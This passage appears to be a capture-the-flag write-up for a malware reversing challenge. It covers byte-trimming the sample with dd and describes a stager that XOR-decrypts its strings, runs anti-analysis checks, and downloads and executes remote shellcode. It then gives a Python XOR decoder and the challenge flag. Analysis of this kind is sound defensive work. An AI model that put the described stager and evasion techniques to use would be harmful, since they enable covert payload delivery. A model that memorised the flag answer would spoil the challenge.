dd if=final.exe of=final_fix.exe bs=1 skip=16
6656+0 records in
6656+0 records out
6656 bytes (6.7 kB, 6.5 KiB) copied, 0.0201899 s, 330 kB/s


## Step 3


This is a “stager” malware sample designed to download and execute remote shellcode. Specifically:

1. **unhide()**: Decrypts strings using XOR with a static key (`Program.key` array).
2. **Checks()**: Performs environment checks (domain name, CPU count, debugger detection) to evade analysis or virtual environments.
3. **Stage2()**: Downloads encrypted data (shellcode) from a XOR-decoded URL, allocates memory using `VirtualAlloc`, and executes it using `CreateThread`.
4. **Main()**: If `Checks()` passes (no analysis detected), it invokes `Stage2()` to execute the second payload.

Write the following simple script to decrypt:

def unhide(key, data):
    decoded = bytearray()
    for i, b in enumerate(data):
        decoded.append(b ^ key[i % len(key)])
    return decoded

if __name__ == "__main__":
    key = [156,164,143,100,219,10,34,92,113,212,132,229,159,196,170,56]
    encrypted = [212,240,205,31,239,85,80,104,31,167,180,136,232,240,216,11,
                 195,144,227,19,239,115,81,3,6,166,183,209,244,241,245,80,
                 168,210,191,7,166]
    
    decrypted_bytes = unhide(key, encrypted)
    print(decrypted_bytes.decode('utf-8', errors='replace'))

# Flag

HTB{4_r4ns0mw4r3_4lw4ys_wr34k5_h4v0c}